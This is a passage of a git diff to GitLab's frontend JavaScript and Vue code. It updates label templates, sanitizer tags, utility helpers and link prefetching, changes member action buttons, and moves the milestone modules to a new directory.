- '<a href="<%- issueUpdateURL.slice(0, issueUpdateURL.lastIndexOf("/")) %>?label_name[]=<%- encodeURIComponent(label.title) %>" class="gl-link gl-label-link has-tooltip" <%= linkAttrs %> title="<%= tooltipTitleTemplate({ label, isScopedLabel, enableScopedLabels, escapeStr }) %>">';
- const labelTemplate = template(
- [
- '<span class="gl-label">',
- linkOpenTag,
- '<span class="gl-label-text <%= labelTextClass({ label, escapeStr }) %>" style="background-color: <%= escapeStr(label.color) %>;">',
- '<%- label.title %>',
- '</span>',
- '</a>',
- '</span>',
- ].join(''),
- );
-
- const labelTextClass = ({ label, escapeStr }) => {
- return escapeStr(
- label.text_color === '#FFFFFF' ? 'gl-label-text-light' : 'gl-label-text-dark',
- );
- };
-
- const rightLabelTextClass = ({ label, escapeStr }) => {
- return escapeStr(label.text_color === '#333333' ? labelTextClass({ label, escapeStr }) : '');
- };
-
- const scopedLabelTemplate = template(
- [
- '<span class="gl-label gl-label-scoped" style="color: <%= escapeStr(label.color) %>; --label-inset-border: inset 0 0 0 2px <%= escapeStr(label.color) %>;">',
- linkOpenTag,
- '<span class="gl-label-text <%= labelTextClass({ label, escapeStr }) %>" style="background-color: <%= escapeStr(label.color) %>;">',
- '<%- label.title.slice(0, label.title.lastIndexOf("::")) %>',
- '</span>',
- '<span class="gl-label-text <%= rightLabelTextClass({ label, escapeStr }) %>">',
- '<%- label.title.slice(label.title.lastIndexOf("::") + 2) %>',
- '</span>',
- '</a>',
- '</span>',
- ].join(''),
- );
-
- const tooltipTitleTemplate = template(
- [
- '<% if (isScopedLabel(label) && enableScopedLabels) { %>',
- "<span class='font-weight-bold scoped-label-tooltip-title'>Scoped label</span>",
- '<br />',
- '<%= escapeStr(label.description) %>',
- '<% } else { %>',
- '<%= escapeStr(label.description) %>',
- '<% } %>',
- ].join(''),
- );
-
- const tpl = template(
- [
- '<% labels.forEach(function(label){ %>',
- '<% if (isScopedLabel(label) && enableScopedLabels) { %>',
- '<%= scopedLabelTemplate({ label, issueUpdateURL, isScopedLabel, enableScopedLabels, labelTextClass, rightLabelTextClass, tooltipTitleTemplate, escapeStr, linkAttrs: \'data-html="true"\' }) %>',
- '<% } else { %>',
- '<%= labelTemplate({ label, issueUpdateURL, isScopedLabel, enableScopedLabels, labelTextClass, tooltipTitleTemplate, escapeStr, linkAttrs: "" }) %>',
- '<% } %>',
- '<% }); %>',
- ].join(''),
- );
-
- return tpl({
- ...tplData,
- labelTemplate,
- labelTextClass,
- rightLabelTextClass,
- scopedLabelTemplate,
- tooltipTitleTemplate,
- isScopedLabel,
- escapeStr: escape,
- });
- }
-
- bindEvents() {
- return $('body').on(
- 'change',
- '.issuable-list input[type="checkbox"]',
- this.onSelectCheckboxIssue,
- );
- }
- // eslint-disable-next-line class-methods-use-this
- onSelectCheckboxIssue() {
- if ($('.issuable-list input[type="checkbox"]:checked').length) {
- return;
- }
- return $('.issues-bulk-update .labels-filter .dropdown-toggle-text').text(__('Label'));
- }
- // eslint-disable-next-line class-methods-use-this
- enableBulkLabelDropdown() {
- IssuableBulkUpdateActions.willUpdateLabels = true;
- }
- // eslint-disable-next-line class-methods-use-this
- setDropdownData($dropdown, isMarking, labelId) {
- let userCheckedIds = $dropdown.data('user-checked') || [];
- let userUncheckedIds = $dropdown.data('user-unchecked') || [];
-
- if (isMarking) {
- userCheckedIds = union(userCheckedIds, [labelId]);
- userUncheckedIds = difference(userUncheckedIds, [labelId]);
- } else {
- userUncheckedIds = union(userUncheckedIds, [labelId]);
- userCheckedIds = difference(userCheckedIds, [labelId]);
- }
-
- $dropdown.data('user-checked', userCheckedIds);
- $dropdown.data('user-unchecked', userUncheckedIds);
- }
- // eslint-disable-next-line class-methods-use-this
- setOriginalDropdownData($container, $dropdown) {
- const labels = [];
- $container.find('[name="label_name[]"]').map(function () {
- return labels.push(this.value);
- });
- $dropdown.data('marked', labels);
- }
-}
diff --git a/app/assets/javascripts/lib/dompurify.js b/app/assets/javascripts/lib/dompurify.js
index 47ede8cb1bb..47568f0ecff 100644
--- a/app/assets/javascripts/lib/dompurify.js
+++ b/app/assets/javascripts/lib/dompurify.js
@@ -3,7 +3,7 @@ import { getNormalizedURL, getBaseURL, relativePathToAbsolute } from '~/lib/util
const defaultConfig = {
// Safely allow SVG <use> tags
- ADD_TAGS: ['use', 'gl-emoji'],
+ ADD_TAGS: ['use', 'gl-emoji', 'copy-code'],
// Prevent possible XSS attacks with data-* attributes used by @rails/ujs
// See https://gitlab.com/gitlab-org/gitlab-ui/-/issues/1421
FORBID_ATTR: ['data-remote', 'data-url', 'data-type', 'data-method'],
diff --git a/app/assets/javascripts/lib/utils/common_utils.js b/app/assets/javascripts/lib/utils/common_utils.js
index a82dad7e2c9..7235b38848c 100644
--- a/app/assets/javascripts/lib/utils/common_utils.js
+++ b/app/assets/javascripts/lib/utils/common_utils.js
@@ -735,3 +735,14 @@ export const isFeatureFlagEnabled = (flag) => window.gon.features?.[flag];
export const convertArrayToCamelCase = (array) => array.map((i) => convertToCamelCase(i));
export const isLoggedIn = () => Boolean(window.gon?.current_user_id);
+
+/**
+ * This method takes in array of objects with snake_case
+ * property names and returns a new array of objects with
+ * camelCase property names
+ *
+ * @param {Array[Object]} array - Array to be converted
+ * @returns {Array[Object]} Converted array
+ */
+export const convertArrayOfObjectsToCamelCase = (array) =>
+ array.map((o) => convertObjectPropsToCamelCase(o));
diff --git a/app/assets/javascripts/lib/utils/constants.js b/app/assets/javascripts/lib/utils/constants.js
index 36c6545164e..a108b02bcbf 100644
--- a/app/assets/javascripts/lib/utils/constants.js
+++ b/app/assets/javascripts/lib/utils/constants.js
@@ -17,6 +17,7 @@ export const BV_HIDE_MODAL = 'bv::hide::modal';
export const BV_HIDE_TOOLTIP = 'bv::hide::tooltip';
export const BV_DROPDOWN_SHOW = 'bv::dropdown::show';
export const BV_DROPDOWN_HIDE = 'bv::dropdown::hide';
+export const BV_COLLAPSE_STATE = 'bv::collapse::state';
export const DEFAULT_TH_CLASSES =
'gl-bg-transparent! gl-border-b-solid! gl-border-b-gray-100! gl-p-5! gl-border-b-1!';
diff --git a/app/assets/javascripts/lib/utils/dom_utils.js b/app/assets/javascripts/lib/utils/dom_utils.js
index f7687a929de..b52a736f153 100644
--- a/app/assets/javascripts/lib/utils/dom_utils.js
+++ b/app/assets/javascripts/lib/utils/dom_utils.js
@@ -89,3 +89,17 @@ export const getParents = (element) => {
return parents;
};
+
+/**
+ * This method takes a HTML element and an object of attributes
+ * to save repeated calls to `setAttribute` when multiple
+ * attributes need to be set.
+ *
+ * @param {HTMLElement} el
+ * @param {Object} attributes
+ */
+export const setAttributes = (el, attributes) => {
+ Object.keys(attributes).forEach((key) => {
+ el.setAttribute(key, attributes[key]);
+ });
+};
diff --git a/app/assets/javascripts/lib/utils/intersection_observer.js b/app/assets/javascripts/lib/utils/intersection_observer.js
new file mode 100644
index 00000000000..0959df9a186
--- /dev/null
+++ b/app/assets/javascripts/lib/utils/intersection_observer.js
@@ -0,0 +1,28 @@
+import { memoize } from 'lodash';
+
+import { uuids } from './uuids';
+
+export const create = memoize((options = {}) => {
+ const id = uuids()[0];
+
+ return {
+ id,
+ observer: new IntersectionObserver((entries) => {
+ entries.forEach((entry) => {
+ entry.target.dispatchEvent(
+ new CustomEvent(`IntersectionUpdate`, { detail: { entry, observer: id } }),
+ );
+
+ if (entry.isIntersecting) {
+ entry.target.dispatchEvent(
+ new CustomEvent(`IntersectionAppear`, { detail: { observer: id } }),
+ );
+ } else {
+ entry.target.dispatchEvent(
+ new CustomEvent(`IntersectionDisappear`, { detail: { observer: id } }),
+ );
+ }
+ });
+ }, options),
+ };
+});
diff --git a/app/assets/javascripts/lib/utils/navigation_utility.js b/app/assets/javascripts/lib/utils/navigation_utility.js
index 1579b225e44..029e9f5fd9f 100644
--- a/app/assets/javascripts/lib/utils/navigation_utility.js
+++ b/app/assets/javascripts/lib/utils/navigation_utility.js
@@ -13,3 +13,42 @@ export default function findAndFollowLink(selector) {
visitUrl(link);
}
}
+
+export function prefetchDocument(url) {
+ const newPrefetchLink = document.createElement('link');
+ newPrefetchLink.rel = 'prefetch';
+ newPrefetchLink.href = url;
+ newPrefetchLink.setAttribute('as', 'document');
+ document.head.appendChild(newPrefetchLink);
+}
+
+export function initPrefetchLinks(selector) {
+ document.querySelectorAll(selector).forEach((el) => {
+ let mouseOverTimer;
+
+ const mouseOutHandler = () => {
+ if (mouseOverTimer) {
+ clearTimeout(mouseOverTimer);
+ mouseOverTimer = undefined;
+ }
+ };
+
+ const mouseOverHandler = () => {
+ el.addEventListener('mouseout', mouseOutHandler, { once: true, passive: true });
+
+ mouseOverTimer = setTimeout(() => {
+ if (el.href) prefetchDocument(el.href);
+
+ // Only execute once
+ el.removeEventListener('mouseover', mouseOverHandler, true);
+
+ mouseOverTimer = undefined;
+ }, 100);
+ };
+
+ el.addEventListener('mouseover', mouseOverHandler, {
+ capture: true,
+ passive: true,
+ });
+ });
+}
diff --git a/app/assets/javascripts/lib/utils/url_utility.js b/app/assets/javascripts/lib/utils/url_utility.js
index e53a39cde06..12462a2575e 100644
--- a/app/assets/javascripts/lib/utils/url_utility.js
+++ b/app/assets/javascripts/lib/utils/url_utility.js
@@ -1,6 +1,6 @@
export const DASH_SCOPE = '-';
-const PATH_SEPARATOR = '/';
+export const PATH_SEPARATOR = '/';
const PATH_SEPARATOR_LEADING_REGEX = new RegExp(`^${PATH_SEPARATOR}+`);
const PATH_SEPARATOR_ENDING_REGEX = new RegExp(`${PATH_SEPARATOR}+$`);
const SHA_REGEX = /[\da-f]{40}/gi;
diff --git a/app/assets/javascripts/main.js b/app/assets/javascripts/main.js
index e422d9b1a32..e221a54d9c6 100644
--- a/app/assets/javascripts/main.js
+++ b/app/assets/javascripts/main.js
@@ -14,9 +14,9 @@ import { GlBreakpointInstance as bp } from '@gitlab/ui/dist/utils';
import { initRails } from '~/lib/utils/rails_ujs';
import * as popovers from '~/popovers';
import * as tooltips from '~/tooltips';
-import { initHeaderSearchApp } from '~/header_search';
+import { initPrefetchLinks } from '~/lib/utils/navigation_utility';
import initAlertHandler from './alert_handler';
-import { removeFlashClickListener } from './flash';
+import { addDismissFlashClickListener } from './flash';
import initTodoToggle from './header';
import initLayoutNav from './layout_nav';
import { logHelloDeferred } from './lib/logger/hello_deferred';
@@ -36,6 +36,7 @@ import GlFieldErrors from './gl_field_errors';
import initUserPopovers from './user_popovers';
import initBroadcastNotifications from './broadcast_notification';
import { initTopNav } from './nav';
+import { initCopyCodeButton } from './behaviors/copy_code';
import 'ee_else_ce/main_ee';
import 'jh_else_ce/main_jh';
@@ -90,6 +91,7 @@ function deferredInitialisation() {
initTopNav();
initBreadcrumbs();
initTodoToggle();
+ initPrefetchLinks('.js-prefetch-document');
initLogoAnimation();
initServicePingConsent();
initUserPopovers();
@@ -97,25 +99,31 @@ function deferredInitialisation() {
initPersistentUserCallouts();
initDefaultTrackers();
initFeatureHighlight();
-
- if (gon.features?.newHeaderSearch) {
- initHeaderSearchApp();
- } else {
- const search = document.querySelector('#search');
- if (search) {
- search.addEventListener(
- 'focus',
- () => {
+ initCopyCodeButton();
+
+ const search = document.querySelector('#search');
+ if (search) {
+ search.addEventListener(
+ 'focus',
+ () => {
+ if (gon.features?.newHeaderSearch) {
+ import(/* webpackChunkName: 'globalSearch' */ '~/header_search')
+ .then(async ({ initHeaderSearchApp }) => {
+ await initHeaderSearchApp();
+ document.querySelector('#search').focus();
+ })
+ .catch(() => {});
+ } else {
import(/* webpackChunkName: 'globalSearch' */ './search_autocomplete')
.then(({ default: initSearchAutocomplete }) => {
const searchDropdown = initSearchAutocomplete();
searchDropdown.onSearchInputFocus();
})
.catch(() => {});
- },
- { once: true },
- );
- }
+ }
+ },
+ { once: true },
+ );
}
addSelectOnFocusBehaviour('.js-select-on-focus');
@@ -259,7 +267,7 @@ if (flashContainer && flashContainer.children.length) {
flashContainer
.querySelectorAll('.flash-alert, .flash-notice, .flash-success')
.forEach((flashEl) => {
- removeFlashClickListener(flashEl);
+ addDismissFlashClickListener(flashEl);
});
}
diff --git a/app/assets/javascripts/members/components/action_buttons/access_request_action_buttons.vue b/app/assets/javascripts/members/components/action_buttons/access_request_action_buttons.vue
index 35966be7363..d092283338c 100644
--- a/app/assets/javascripts/members/components/action_buttons/access_request_action_buttons.vue
+++ b/app/assets/javascripts/members/components/action_buttons/access_request_action_buttons.vue
@@ -53,6 +53,7 @@ export default {
:title="s__('Member|Deny access')"
:is-access-request="true"
icon="close"
+ button-category="primary"
/>
</div>
</action-button-group>
diff --git a/app/assets/javascripts/members/components/action_buttons/invite_action_buttons.vue b/app/assets/javascripts/members/components/action_buttons/invite_action_buttons.vue
index 91062c222f4..ab9abfd38c6 100644
--- a/app/assets/javascripts/members/components/action_buttons/invite_action_buttons.vue
+++ b/app/assets/javascripts/members/components/action_buttons/invite_action_buttons.vue
@@ -41,6 +41,8 @@ export default {
<remove-member-button
:member-id="member.id"
:message="message"
+ icon="remove"
+ button-category="primary"
:title="s__('Member|Revoke invite')"
is-invite
/>
diff --git a/app/assets/javascripts/members/components/action_buttons/remove_member_button.vue b/app/assets/javascripts/members/components/action_buttons/remove_member_button.vue
index 69137ce615b..01606d07554 100644
--- a/app/assets/javascripts/members/components/action_buttons/remove_member_button.vue
+++ b/app/assets/javascripts/members/components/action_buttons/remove_member_button.vue
@@ -30,7 +30,17 @@ export default {
icon: {
type: String,
required: false,
- default: 'remove',
+ default: undefined,
+ },
+ buttonText: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ buttonCategory: {
+ type: String,
+ required: false,
+ default: 'secondary',
},
isAccessRequest: {
type: Boolean,
@@ -79,10 +89,12 @@ export default {
<gl-button
v-gl-tooltip
variant="danger"
+ :category="buttonCategory"
:title="title"
:aria-label="title"
:icon="icon"
data-qa-selector="delete_member_button"
@click="showRemoveMemberModal(modalData)"
- />
+ ><template v-if="buttonText">{{ buttonText }}</template></gl-button
+ >
</template>
diff --git a/app/assets/javascripts/members/components/action_buttons/user_action_buttons.vue b/app/assets/javascripts/members/components/action_buttons/user_action_buttons.vue
index 44d658c90a0..594da7f68cc 100644
--- a/app/assets/javascripts/members/components/action_buttons/user_action_buttons.vue
+++ b/app/assets/javascripts/members/components/action_buttons/user_action_buttons.vue
@@ -1,5 +1,5 @@
<script>
-import { s__, sprintf } from '~/locale';
+import { __, s__, sprintf } from '~/locale';
import { parseUserDeletionObstacles } from '~/vue_shared/components/user_deletion_obstacles/utils';
import ActionButtonGroup from './action_button_group.vue';
import LeaveButton from './leave_button.vue';
@@ -23,6 +23,10 @@ export default {
type: Boolean,
required: true,
},
+ isInvitedUser: {
+ type: Boolean,
+ required: true,
+ },
permissions: {
type: Object,
required: true,
@@ -56,6 +60,15 @@ export default {
obstacles: parseUserDeletionObstacles(this.member.user),
};
},
+ removeMemberButtonText() {
+ return this.isInvitedUser ? null : __('Remove user');
+ },
+ removeMemberButtonIcon() {
+ return this.isInvitedUser ? 'remove' : '';
+ },
+ removeMemberButtonCategory() {
+ return this.isInvitedUser ? 'primary' : 'secondary';
+ },
},
};
</script>
@@ -70,6 +83,9 @@ export default {
:member-type="member.type"
:user-deletion-obstacles="userDeletionObstaclesUserData"
:message="message"
+ :icon="removeMemberButtonIcon"
+ :button-text="removeMemberButtonText"
+ :button-category="removeMemberButtonCategory"
:title="s__('Member|Remove member')"
/>
</div>
diff --git a/app/assets/javascripts/members/components/table/member_action_buttons.vue b/app/assets/javascripts/members/components/table/member_action_buttons.vue
index 6f15f079d2d..971b1a8435e 100644
--- a/app/assets/javascripts/members/components/table/member_action_buttons.vue
+++ b/app/assets/javascripts/members/components/table/member_action_buttons.vue
@@ -30,6 +30,10 @@ export default {
type: Boolean,
required: true,
},
+ isInvitedUser: {
+ type: Boolean,
+ required: true,
+ },
},
computed: {
actionButtonComponent() {
@@ -53,5 +57,6 @@ export default {
:member="member"
:permissions="permissions"
:is-current-user="isCurrentUser"
+ :is-invited-user="isInvitedUser"
/>
</template>
diff --git a/app/assets/javascripts/members/components/table/members_table.vue b/app/assets/javascripts/members/components/table/members_table.vue
index 202f3aa89e1..de733ae75df 100644
--- a/app/assets/javascripts/members/components/table/members_table.vue
+++ b/app/assets/javascripts/members/components/table/members_table.vue
@@ -8,6 +8,7 @@ import initUserPopovers from '~/user_popovers';
import {
FIELDS,
ACTIVE_TAB_QUERY_PARAM_NAME,
+ TAB_QUERY_PARAM_VALUES,
MEMBER_STATE_AWAITING,
USER_STATE_BLOCKED_PENDING_APPROVAL,
BADGE_LABELS_PENDING_OWNER_APPROVAL,
@@ -82,6 +83,9 @@ export default {
return paramName && currentPage && perPage && totalItems;
},
+ isInvitedUser() {
+ return this.tabQueryParamValue === TAB_QUERY_PARAM_VALUES.invite;
+ },
},
mounted() {
initUserPopovers(this.$el.querySelectorAll('.js-user-link'));
@@ -275,6 +279,7 @@ export default {
<member-action-buttons
:member-type="memberType"
:is-current-user="isCurrentUser"
+ :is-invited-user="isInvitedUser"
:permissions="permissions"
:member="member"
/>
diff --git a/app/assets/javascripts/merge_conflicts/merge_conflicts_bundle.js b/app/assets/javascripts/merge_conflicts/merge_conflicts_bundle.js
index cf02c6fbd6b..8c96f8a017e 100644
--- a/app/assets/javascripts/merge_conflicts/merge_conflicts_bundle.js
+++ b/app/assets/javascripts/merge_conflicts/merge_conflicts_bundle.js
@@ -1,5 +1,5 @@
import Vue from 'vue';
-import initIssuableSidebar from '../init_issuable_sidebar';
+import { initIssuableSidebar } from '~/issuable';
import MergeConflictsResolverApp from './merge_conflict_resolver_app.vue';
import { createStore } from './store';
diff --git a/app/assets/javascripts/milestone.js b/app/assets/javascripts/milestone.js
deleted file mode 100644
index b4e53c1fab6..00000000000
--- a/app/assets/javascripts/milestone.js
+++ /dev/null
@@ -1,49 +0,0 @@
-import $ from 'jquery';
-import createFlash from './flash';
-import axios from './lib/utils/axios_utils';
-import { __ } from './locale';
-
-export default class Milestone {
- constructor() {
- this.bindTabsSwitching();
- this.loadInitialTab();
- }
-
- bindTabsSwitching() {
- return $('a[data-toggle="tab"]').on('show.bs.tab', (e) => {
- const $target = $(e.target);
-
- window.location.hash = $target.attr('href');
- this.loadTab($target);
- });
- }
-
- loadInitialTab() {
- const $target = $(`.js-milestone-tabs a:not(.active)[href="${window.location.hash}"]`);
-
- if ($target.length) {
- $target.tab('show');
- } else {
- this.loadTab($('.js-milestone-tabs a.active'));
- }
- }
- // eslint-disable-next-line class-methods-use-this
- loadTab($target) {
- const endpoint = $target.data('endpoint');
- const tabElId = $target.attr('href');
-
- if (endpoint && !$target.hasClass('is-loaded')) {
- axios
- .get(endpoint)
- .then(({ data }) => {
- $(tabElId).html(data.html);
- $target.addClass('is-loaded');
- })
- .catch(() =>
- createFlash({
- message: __('Error loading milestone tab'),
- }),
- );
- }
- }
-}
diff --git a/app/assets/javascripts/milestone_select.js b/app/assets/javascripts/milestone_select.js
deleted file mode 100644
index aa8a40b6a87..00000000000
--- a/app/assets/javascripts/milestone_select.js
+++ /dev/null
@@ -1,273 +0,0 @@
-/* eslint-disable one-var, no-self-compare, consistent-return, no-param-reassign, no-shadow */
-/* global Issuable */
-
-import $ from 'jquery';
-import { template, escape } from 'lodash';
-import Api from '~/api';
-import initDeprecatedJQueryDropdown from '~/deprecated_jquery_dropdown';
-import { __, sprintf } from '~/locale';
-import { sortMilestonesByDueDate } from '~/milestones/milestone_utils';
-import axios from './lib/utils/axios_utils';
-import { timeFor, parsePikadayDate, dateInWords } from './lib/utils/datetime_utility';
-
-export default class MilestoneSelect {
- constructor(currentProject, els, options = {}) {
- if (currentProject !== null) {
- this.currentProject =
- typeof currentProject === 'string' ? JSON.parse(currentProject) : currentProject;
- }
-
- MilestoneSelect.init(els, options);
- }
-
- static init(els, options) {
- let $els = $(els);
-
- if (!els) {
- $els = $('.js-milestone-select');
- }
-
- $els.each((i, dropdown) => {
- let milestoneLinkNoneTemplate,
- milestoneLinkTemplate,
- milestoneExpiredLinkTemplate,
- selectedMilestone,
- selectedMilestoneDefault;
- const $dropdown = $(dropdown);
- const issueUpdateURL = $dropdown.data('issueUpdate');
- const showNo = $dropdown.data('showNo');
- const showAny = $dropdown.data('showAny');
- const showMenuAbove = $dropdown.data('showMenuAbove');
- const showUpcoming = $dropdown.data('showUpcoming');
- const showStarted = $dropdown.data('showStarted');
- const useId = $dropdown.data('useId');
- const defaultLabel = $dropdown.data('defaultLabel');
- const defaultNo = $dropdown.data('defaultNo');
- const abilityName = $dropdown.data('abilityName');
- const $selectBox = $dropdown.closest('.selectbox');
- const $block = $selectBox.closest('.block');
- const $sidebarCollapsedValue = $block.find('.sidebar-collapsed-icon');
- const $value = $block.find('.value');
- const $loading = $block.find('.block-loading').addClass('gl-display-none');
- selectedMilestoneDefault = showAny ? '' : null;
- selectedMilestoneDefault =
- showNo && defaultNo ? __('No milestone') : selectedMilestoneDefault;
- selectedMilestone = $dropdown.data('selected') || selectedMilestoneDefault;
-
- if (issueUpdateURL) {
- milestoneLinkTemplate = template(
- '<a href="<%- web_url %>" class="bold has-tooltip" data-container="body" title="<%- remaining %>"><%- title %></a>',
- );
- milestoneExpiredLinkTemplate = template(
- '<a href="<%- web_url %>" class="bold has-tooltip" data-container="body" title="<%- remaining %>"><%- title %> (Past due)</a>',
- );
- milestoneLinkNoneTemplate = `<span class="no-value">${__('None')}</span>`;
- }
- return initDeprecatedJQueryDropdown($dropdown, {
- showMenuAbove,
- data: (term, callback) => {
- let contextId = parseInt($dropdown.get(0).dataset.projectId, 10);
- let getMilestones = Api.projectMilestones.bind(Api);
- const reqParams = { state: 'active', include_parent_milestones: true };
-
- if (term) {
- reqParams.search = term.trim();
- }
-
- if (!contextId) {
- contextId = $dropdown.get(0).dataset.groupId;
- delete reqParams.include_parent_milestones;
- getMilestones = Api.groupMilestones.bind(Api);
- }
-
- // We don't use $.data() as it caches initial value and never updates!
- return getMilestones(contextId, reqParams)
- .then(({ data }) =>
- data
- .map((m) => ({
- ...m,
- // Public API includes `title` instead of `name`.
- name: m.title,
- }))
- .sort(sortMilestonesByDueDate),
- )
- .then((data) => {
- const extraOptions = [];
- if (showAny) {
- extraOptions.push({
- id: null,
- name: null,
- title: __('Any milestone'),
- });
- }
- if (showNo && term.trim() === '') {
- extraOptions.push({
- id: -1,
- name: __('No milestone'),
- title: __('No milestone'),
- });
- }
- if (showUpcoming) {
- extraOptions.push({
- id: -2,
- name: '#upcoming',
- title: __('Upcoming'),
- });
- }
- if (showStarted) {
- extraOptions.push({
- id: -3,
- name: '#started',
- title: __('Started'),
- });
- }
- if (extraOptions.length) {
- extraOptions.push({ type: 'divider' });
- }
-
- callback(extraOptions.concat(data));
- if (showMenuAbove) {
- $dropdown.data('deprecatedJQueryDropdown').positionMenuAbove();
- }
- $(`[data-milestone-id="${selectedMilestone}"] > a`).addClass('is-active');
- });
- },
- renderRow: (milestone) => {
- const milestoneName = milestone.title || milestone.name;
- let milestoneDisplayName = escape(milestoneName);
-
- if (milestone.expired) {
- milestoneDisplayName = sprintf(__('%{milestone} (expired)'), {
- milestone: milestoneDisplayName,
- });
- }
-
- return `
- <li data-milestone-id="${escape(milestoneName)}">
- <a href='#' class='dropdown-menu-milestone-link'>
- ${milestoneDisplayName}
- </a>
- </li>
- `;
- },
- filterable: true,
- filterRemote: true,
- search: {
- fields: ['title'],
- },
- selectable: true,
- toggleLabel: (selected, el) => {
- if (selected && 'id' in selected && $(el).hasClass('is-active')) {
- return selected.title;
- }
- return defaultLabel;
- },
- defaultLabel,
- fieldName: $dropdown.data('fieldName'),
- text: (milestone) => escape(milestone.title),
- id: (milestone) => {
- if (milestone !== undefined) {
- if (!useId && !$dropdown.is('.js-issuable-form-dropdown')) {
- return milestone.name;
- }
-
- return milestone.id;
- }
- },
- hidden: () => {
- $selectBox.hide();
- // display:block overrides the hide-collapse rule
- return $value.css('display', '');
- },
- opened: (e) => {
- const $el = $(e.currentTarget);
- if (options.handleClick) {
- selectedMilestone = $dropdown[0].dataset.selected || selectedMilestoneDefault;
- }
- $('a.is-active', $el).removeClass('is-active');
- $(`[data-milestone-id="${selectedMilestone}"] > a`, $el).addClass('is-active');
- },
- vue: false,
- clicked: (clickEvent) => {
- const { e } = clickEvent;
- let selected = clickEvent.selectedObj;
-
- if (!selected) return;
-
- if (options.handleClick) {
- e.preventDefault();
- options.handleClick(selected);
- return;
- }
-
- const page = $('body').attr('data-page');
- const isIssueIndex = page === 'projects:issues:index';
- const isMRIndex = page === page && page === 'projects:merge_requests:index';
- const isSelecting = selected.name !== selectedMilestone;
- selectedMilestone = isSelecting ? selected.name : selectedMilestoneDefault;
-
- if (
- $dropdown.hasClass('js-filter-bulk-update') ||
- $dropdown.hasClass('js-issuable-form-dropdown')
- ) {
- e.preventDefault();
- return;
- }
-
- if ($dropdown.hasClass('js-filter-submit') && (isIssueIndex || isMRIndex)) {
- return Issuable.filterResults($dropdown.closest('form'));
- } else if ($dropdown.hasClass('js-filter-submit')) {
- return $dropdown.closest('form').submit();
- }
-
- selected = $selectBox.find('input[type="hidden"]').val();
-
- const data = {};
- data[abilityName] = {};
- data[abilityName].milestone_id = selected != null ? selected : null;
- $loading.removeClass('gl-display-none');
- $dropdown.trigger('loading.gl.dropdown');
- return axios
- .put(issueUpdateURL, data)
- .then(({ data }) => {
- $dropdown.trigger('loaded.gl.dropdown');
- $loading.addClass('gl-display-none');
- $selectBox.hide();
- $value.css('display', '');
- if (data.milestone != null) {
- data.milestone.remaining = timeFor(data.milestone.due_date);
- data.milestone.name = data.milestone.title;
- $value.html(
- data.milestone.expired
- ? milestoneExpiredLinkTemplate({
- ...data.milestone,
- remaining: sprintf(__('%{due_date} (Past due)'), {
- due_date: dateInWords(parsePikadayDate(data.milestone.due_date)),
- }),
- })
- : milestoneLinkTemplate(data.milestone),
- );
- return $sidebarCollapsedValue
- .attr(
- 'data-original-title',
- `${data.milestone.name}<br />${data.milestone.remaining}`,
- )
- .find('span')
- .text(data.milestone.title);
- }
- $value.html(milestoneLinkNoneTemplate);
- return $sidebarCollapsedValue
- .attr('data-original-title', __('Milestone'))
- .find('span')
- .text(__('None'));
- })
- .catch(() => {
- $loading.addClass('gl-display-none');
- });
- },
- });
- });
- }
-}
-
-window.MilestoneSelect = MilestoneSelect;
diff --git a/app/assets/javascripts/pages/milestones/shared/components/delete_milestone_modal.vue b/app/assets/javascripts/milestones/components/delete_milestone_modal.vue
index 34f9fe778ea..34f9fe778ea 100644
--- a/app/assets/javascripts/pages/milestones/shared/components/delete_milestone_modal.vue
+++ b/app/assets/javascripts/milestones/components/delete_milestone_modal.vue
diff --git a/app/assets/javascripts/pages/milestones/shared/components/promote_milestone_modal.vue b/app/assets/javascripts/milestones/components/promote_milestone_modal.vue
index b41611001ab..b41611001ab 100644
--- a/app/assets/javascripts/pages/milestones/shared/components/promote_milestone_modal.vue
+++ b/app/assets/javascripts/milestones/components/promote_milestone_modal.vue
diff --git a/app/assets/javascripts/pages/milestones/shared/event_hub.js b/app/assets/javascripts/milestones/event_hub.js
index e31806ad199..e31806ad199 100644
--- a/app/assets/javascripts/pages/milestones/shared/event_hub.js
+++ b/app/assets/javascripts/milestones/event_hub.js
diff --git a/app/assets/javascripts/milestones/index.js b/app/assets/javascripts/milestones/index.js
new file mode 100644
index 00000000000..2ca5f104b4f
--- /dev/null
+++ b/app/assets/javascripts/milestones/index.js
@@ -0,0 +1,123 @@
+import $ from 'jquery';
+import Vue from 'vue';
+import initDatePicker from '~/behaviors/date_picker';
+import GLForm from '~/gl_form';
+import { BV_SHOW_MODAL } from '~/lib/utils/constants';
+import Milestone from '~/milestones/milestone';
+import Sidebar from '~/right_sidebar';
+import MountMilestoneSidebar from '~/sidebar/mount_milestone_sidebar';
+import Translate from '~/vue_shared/translate';
+import ZenMode from '~/zen_mode';
+import DeleteMilestoneModal from './components/delete_milestone_modal.vue';
+import PromoteMilestoneModal from './components/promote_milestone_modal.vue';
+import eventHub from './event_hub';
+
+export function initForm(initGFM = true) {
+ new ZenMode(); // eslint-disable-line no-new
+ initDatePicker();
+
+ // eslint-disable-next-line no-new
+ new GLForm($('.milestone-form'), {
+ emojis: true,
+ members: initGFM,
+ issues: initGFM,
+ mergeRequests: initGFM,
+ epics: initGFM,
+ milestones: initGFM,
+ labels: initGFM,
+ snippets: initGFM,
+ vulnerabilities: initGFM,
+ });
+}
+
+export function initShow() {
+ new Milestone(); // eslint-disable-line no-new
+ new Sidebar(); // eslint-disable-line no-new
+ new MountMilestoneSidebar(); // eslint-disable-line no-new
+}
+
+export function initPromoteMilestoneModal() {
+ Vue.use(Translate);
+
+ const promoteMilestoneModal = document.getElementById('promote-milestone-modal');
+ if (!promoteMilestoneModal) {
+ return null;
+ }
+
+ return new Vue({
+ el: promoteMilestoneModal,
+ render(createElement) {
+ return createElement(PromoteMilestoneModal);
+ },
+ });
+}
+
+export function initDeleteMilestoneModal() {
+ Vue.use(Translate);
+
+ const onRequestFinished = ({ milestoneUrl, successful }) => {
+ const button = document.querySelector(
+ `.js-delete-milestone-button[data-milestone-url="${milestoneUrl}"]`,
+ );
+
+ if (!successful) {
+ button.removeAttribute('disabled');
+ }
+
+ button.querySelector('.js-loading-icon').classList.add('hidden');
+ };
+
+ const deleteMilestoneButtons = document.querySelectorAll('.js-delete-milestone-button');
+
+ const onRequestStarted = (milestoneUrl) => {
+ const button = document.querySelector(
+ `.js-delete-milestone-button[data-milestone-url="${milestoneUrl}"]`,
+ );
+ button.setAttribute('disabled', '');
+ button.querySelector('.js-loading-icon').classList.remove('hidden');
+ eventHub.$once('deleteMilestoneModal.requestFinished', onRequestFinished);
+ };
+
+ return new Vue({
